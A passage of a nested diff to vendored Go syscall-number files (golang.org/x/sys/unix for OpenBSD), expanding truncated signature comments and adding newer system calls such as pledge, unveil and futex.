- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
-+ SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
-+ SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
- SYS_SETREUID = 126 // { int sys_setreuid(uid_t ruid, uid_t euid); }
-@@ -119,89 +129,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-index 32653e53..33d1dc54 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-@@ -1,5 +1,5 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,openbsd
-
-@@ -9,35 +9,35 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
- SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
- SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
-@@ -46,77 +46,81 @@ const (
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-- SYS_SENDSYSLOG = 83 // { int sys_sendsyslog(const void *buf, size_t nbyte); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, \
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
- SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
- SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, \
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
